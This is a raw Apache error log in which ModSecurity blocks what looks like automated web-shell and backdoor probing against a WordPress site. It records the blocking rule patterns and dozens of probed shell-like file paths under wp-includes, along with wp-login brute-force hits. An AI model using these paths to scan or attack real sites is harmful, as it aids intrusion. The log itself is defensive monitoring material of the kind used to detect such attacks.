[Sun Dec 21 02:48:23.538349 2025] [:error] [pid 8751:tid 8768] [client 31.171.130.159:47131] [client 31.171.130.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aUbvd2vrnuGjNP7vtDRvHAAAAA8"]
[Sun Dec 21 02:48:24.167904 2025] [proxy_fcgi:error] [pid 8751:tid 8773] [client 31.171.130.119:44149] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:24.446387 2025] [:error] [pid 8751:tid 8776] [client 31.171.130.119:44149] [client 31.171.130.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aUbveGvrnuGjNP7vtDRvIgAAABc"]
[Sun Dec 21 02:48:25.048620 2025] [proxy_fcgi:error] [pid 22338:tid 22393] [client 31.171.130.115:22395] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:26.268939 2025] [proxy_fcgi:error] [pid 22338:tid 22393] [client 31.171.130.115:22395] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:27.216632 2025] [:error] [pid 22338:tid 22390] [client 31.171.130.115:22395] [client 31.171.130.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aUbve3GYQSUt-opKpSJUigAAAEY"]
[Sun Dec 21 02:48:27.830611 2025] [proxy_fcgi:error] [pid 43680:tid 43686] [client 31.171.130.122:34445] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:28.236306 2025] [:error] [pid 43680:tid 43694] [client 31.171.130.122:34445] [client 31.171.130.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aUbvfEDkAAJVjNqC6UXPvwAAAUo"]
[Sun Dec 21 02:48:28.838637 2025] [proxy_fcgi:error] [pid 22338:tid 22409] [client 31.171.130.157:27913] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:29.444638 2025] [:error] [pid 22338:tid 22407] [client 31.171.130.157:27913] [client 31.171.130.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aUbvfXGYQSUt-opKpSJUowAAAFY"]
[Sun Dec 21 02:48:30.318403 2025] [:error] [pid 8751:tid 8761] [client 31.171.130.145:51493] [client 31.171.130.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aUbvfmvrnuGjNP7vtDRvbQAAAAg"]
[Sun Dec 21 02:48:31.229606 2025] [proxy_fcgi:error] [pid 8640:tid 8657] [client 31.171.130.165:51627] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:31.583046 2025] [proxy_fcgi:error] [pid 8640:tid 8663] [client 31.171.130.165:51627] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:32.207089 2025] [:error] [pid 8640:tid 8662] [client 31.171.130.165:51627] [client 31.171.130.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUbvgPVclzlEWWhvYtmaywAAAIw"]
[Sun Dec 21 02:48:33.151570 2025] [:error] [pid 22338:tid 22401] [client 31.171.130.149:57379] [client 31.171.130.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aUbvgXGYQSUt-opKpSJUyQAAAFA"]
[Sun Dec 21 02:48:34.088434 2025] [:error] [pid 8640:tid 8673] [client 31.171.130.135:21717] [client 31.171.130.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aUbvgvVclzlEWWhvYtma2AAAAJc"]
[Sun Dec 21 02:48:34.645143 2025] [:error] [pid 22338:tid 22400] [client 31.171.130.160:31155] [client 31.171.130.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aUbvgnGYQSUt-opKpSJU1wAAAE8"]
[Sun Dec 21 02:48:35.496302 2025] [:error] [pid 8642:tid 8706] [client 31.171.130.107:60091] [client 31.171.130.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aUbvgyJkiik8k41igp1EQQAAAQQ"]
[Sun Dec 21 02:48:36.668601 2025] [proxy_fcgi:error] [pid 43680:tid 43687] [client 31.171.130.151:49351] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:36.951404 2025] [:error] [pid 43680:tid 43705] [client 31.171.130.151:49351] [client 31.171.130.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aUbvhEDkAAJVjNqC6UXQIgAAAVU"]
[Sun Dec 21 02:48:37.526443 2025] [:error] [pid 43680:tid 43692] [client 31.171.130.164:64413] [client 31.171.130.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aUbvhUDkAAJVjNqC6UXQLAAAAUg"]
[Sun Dec 21 02:48:38.181139 2025] [:error] [pid 43680:tid 43687] [client 31.171.130.116:32901] [client 31.171.130.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUbvhkDkAAJVjNqC6UXQNwAAAUM"]
[Sun Dec 21 02:48:39.332111 2025] [proxy_fcgi:error] [pid 44515:tid 44532] [client 31.171.130.140:49261] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:39.948647 2025] [proxy_fcgi:error] [pid 44515:tid 44537] [client 31.171.130.140:49261] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:42.161612 2025] [proxy_fcgi:error] [pid 44515:tid 44540] [client 31.171.130.140:49261] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:43.055695 2025] [:error] [pid 44515:tid 44541] [client 31.171.130.140:49261] [client 31.171.130.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aUbvi5ZAdBRP9gwGvJ5kvwAAAZc"]
[Sun Dec 21 02:48:44.811349 2025] [:error] [pid 8641:tid 8678] [client 31.171.130.164:35209] [client 31.171.130.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.164, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aUbvjHE703usYSvQGLSUkwAAAMA"]
[Sun Dec 21 02:48:45.137603 2025] [proxy_fcgi:error] [pid 8641:tid 8703] [client 31.171.130.164:35209] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:46.637602 2025] [proxy_fcgi:error] [pid 8641:tid 8678] [client 31.171.130.164:35209] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:46.960874 2025] [proxy_fcgi:error] [pid 8641:tid 8703] [client 31.171.130.164:35209] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:48.630191 2025] [:error] [pid 8641:tid 8693] [client 31.171.130.164:35209] [client 31.171.130.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aUbvkHE703usYSvQGLSUsQAAAM4"]
[Sun Dec 21 02:48:49.604605 2025] [proxy_fcgi:error] [pid 43680:tid 43688] [client 31.171.130.140:39443] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:49.921218 2025] [:error] [pid 43680:tid 43703] [client 31.171.130.140:39443] [client 31.171.130.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.140, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aUbvkUDkAAJVjNqC6UXQ3wAAAVM"]
[Sun Dec 21 02:48:50.577900 2025] [:error] [pid 43680:tid 43694] [client 31.171.130.140:39443] [client 31.171.130.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "aUbvkkDkAAJVjNqC6UXQ5wAAAUo"]
[Sun Dec 21 02:48:51.551604 2025] [proxy_fcgi:error] [pid 8642:tid 8710] [client 31.171.130.132:63139] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:52.514227 2025] [proxy_fcgi:error] [pid 8642:tid 8726] [client 31.171.130.132:63139] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:53.619955 2025] [proxy_fcgi:error] [pid 8642:tid 8701] [client 31.171.130.132:63139] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:54.261993 2025] [:error] [pid 8642:tid 8720] [client 31.171.130.132:63139] [client 31.171.130.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aUbvliJkiik8k41igp1E5wAAAQ8"]
[Sun Dec 21 02:48:54.895610 2025] [proxy_fcgi:error] [pid 8751:tid 8775] [client 31.171.130.163:27683] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:55.785609 2025] [proxy_fcgi:error] [pid 8751:tid 8774] [client 31.171.130.163:27683] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:56.385759 2025] [proxy_fcgi:error] [pid 8751:tid 8773] [client 31.171.130.163:27683] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:56.967602 2025] [proxy_fcgi:error] [pid 8751:tid 8774] [client 31.171.130.163:27683] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:57.278278 2025] [:error] [pid 8751:tid 8777] [client 31.171.130.163:27683] [client 31.171.130.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aUbvmWvrnuGjNP7vtDRwOgAAABg"]
[Sun Dec 21 02:48:57.901770 2025] [proxy_fcgi:error] [pid 22338:tid 22388] [client 31.171.130.143:26169] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:58.207602 2025] [proxy_fcgi:error] [pid 22338:tid 22408] [client 31.171.130.143:26169] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:48:58.545485 2025] [:error] [pid 22338:tid 22398] [client 31.171.130.143:26169] [client 31.171.130.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aUbvmnGYQSUt-opKpSJVkwAAAE0"]
[Sun Dec 21 02:48:59.816883 2025] [proxy_fcgi:error] [pid 43680:tid 43690] [client 31.171.130.161:26865] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:00.452604 2025] [:error] [pid 43680:tid 43685] [client 31.171.130.161:26865] [client 31.171.130.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.161, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aUbvnEDkAAJVjNqC6UXRbAAAAUE"]
[Sun Dec 21 02:49:00.739622 2025] [:error] [pid 43680:tid 43693] [client 31.171.130.161:26865] [client 31.171.130.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aUbvnEDkAAJVjNqC6UXRcgAAAUk"]
[Sun Dec 21 02:49:04.722623 2025] [proxy_fcgi:error] [pid 22338:tid 22387] [client 31.171.130.123:57997] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:05.953650 2025] [proxy_fcgi:error] [pid 22338:tid 22392] [client 31.171.130.123:57997] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:06.608614 2025] [proxy_fcgi:error] [pid 22338:tid 22397] [client 31.171.130.123:57997] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:06.890687 2025] [:error] [pid 22338:tid 22405] [client 31.171.130.123:57997] [client 31.171.130.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aUbvonGYQSUt-opKpSJWAwAAAFQ"]
[Sun Dec 21 02:49:07.546338 2025] [proxy_fcgi:error] [pid 8640:tid 8650] [client 31.171.130.159:60819] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:08.435275 2025] [:error] [pid 8640:tid 8652] [client 31.171.130.159:60819] [client 31.171.130.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.159, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aUbvpPVclzlEWWhvYtmcBwAAAII"]
[Sun Dec 21 02:49:08.986982 2025] [proxy_fcgi:error] [pid 8640:tid 8665] [client 31.171.130.159:60819] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:09.299598 2025] [proxy_fcgi:error] [pid 8640:tid 8658] [client 31.171.130.159:60819] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:09.619962 2025] [proxy_fcgi:error] [pid 8640:tid 8650] [client 31.171.130.159:60819] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:09.960601 2025] [:error] [pid 8640:tid 8669] [client 31.171.130.159:60819] [client 31.171.130.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aUbvpfVclzlEWWhvYtmcGwAAAJM"]
[Sun Dec 21 02:49:10.585831 2025] [proxy_fcgi:error] [pid 8751:tid 8753] [client 31.171.130.114:33763] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:11.426190 2025] [:error] [pid 8751:tid 8771] [client 31.171.130.114:33763] [client 31.171.130.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aUbvp2vrnuGjNP7vtDRwtAAAABI"]
[Sun Dec 21 02:49:12.322602 2025] [proxy_fcgi:error] [pid 22338:tid 22399] [client 31.171.130.159:56081] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:12.618385 2025] [:error] [pid 22338:tid 22405] [client 31.171.130.159:56081] [client 31.171.130.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aUbvqHGYQSUt-opKpSJWRQAAAFQ"]
[Sun Dec 21 02:49:13.793643 2025] [proxy_fcgi:error] [pid 8642:tid 8716] [client 31.171.130.121:27165] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:14.321454 2025] [:error] [pid 8642:tid 8713] [client 31.171.130.121:27165] [client 31.171.130.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aUbvqiJkiik8k41igp1FggAAAQg"]
[Sun Dec 21 02:49:14.980475 2025] [:error] [pid 43680:tid 43694] [client 31.171.130.150:35157] [client 31.171.130.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aUbvqkDkAAJVjNqC6UXR-QAAAUo"]
[Sun Dec 21 02:49:15.590221 2025] [proxy_fcgi:error] [pid 22338:tid 22387] [client 31.171.130.155:61343] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:15.900620 2025] [proxy_fcgi:error] [pid 22338:tid 22392] [client 31.171.130.155:61343] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:17.139341 2025] [:error] [pid 22338:tid 22385] [client 31.171.130.155:61343] [client 31.171.130.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aUbvrXGYQSUt-opKpSJWdAAAAEE"]
[Sun Dec 21 02:49:18.389657 2025] [:error] [pid 44515:tid 44521] [client 31.171.130.111:47913] [client 31.171.130.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aUbvrpZAdBRP9gwGvJ5l1AAAAYM"]
[Sun Dec 21 02:49:19.010694 2025] [proxy_fcgi:error] [pid 43680:tid 43687] [client 31.171.130.157:60923] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:19.949359 2025] [:error] [pid 43680:tid 43697] [client 31.171.130.157:60923] [client 31.171.130.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aUbvr0DkAAJVjNqC6UXSHQAAAU0"]
[Sun Dec 21 02:49:20.550602 2025] [proxy_fcgi:error] [pid 43680:tid 43686] [client 31.171.130.161:60615] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:21.148425 2025] [proxy_fcgi:error] [pid 43680:tid 43700] [client 31.171.130.161:60615] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:21.442217 2025] [:error] [pid 43680:tid 43692] [client 31.171.130.161:60615] [client 31.171.130.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aUbvsUDkAAJVjNqC6UXSKQAAAUg"]
[Sun Dec 21 02:49:22.052824 2025] [proxy_fcgi:error] [pid 43680:tid 43706] [client 31.171.130.114:23929] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:22.672008 2025] [:error] [pid 43680:tid 43698] [client 31.171.130.114:23929] [client 31.171.130.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/click.php"] [unique_id "aUbvskDkAAJVjNqC6UXSNwAAAU4"]
[Sun Dec 21 02:49:23.283873 2025] [proxy_fcgi:error] [pid 8751:tid 8775] [client 31.171.130.158:64907] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:24.244525 2025] [:error] [pid 8751:tid 8770] [client 31.171.130.158:64907] [client 31.171.130.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aUbvtGvrnuGjNP7vtDRw_gAAABE"]
[Sun Dec 21 02:49:25.459637 2025] [proxy_fcgi:error] [pid 22338:tid 22392] [client 31.171.130.118:41289] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:26.182665 2025] [proxy_fcgi:error] [pid 22338:tid 22390] [client 31.171.130.118:41289] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:26.492626 2025] [proxy_fcgi:error] [pid 22338:tid 22392] [client 31.171.130.118:41289] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:27.076632 2025] [proxy_fcgi:error] [pid 22338:tid 22390] [client 31.171.130.118:41289] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:27.366239 2025] [:error] [pid 22338:tid 22384] [client 31.171.130.118:41289] [client 31.171.130.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aUbvt3GYQSUt-opKpSJW1wAAAEA"]
[Sun Dec 21 02:49:28.070091 2025] [:error] [pid 8751:tid 8762] [client 31.171.130.116:64847] [client 31.171.130.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aUbvuGvrnuGjNP7vtDRxCwAAAAk"]
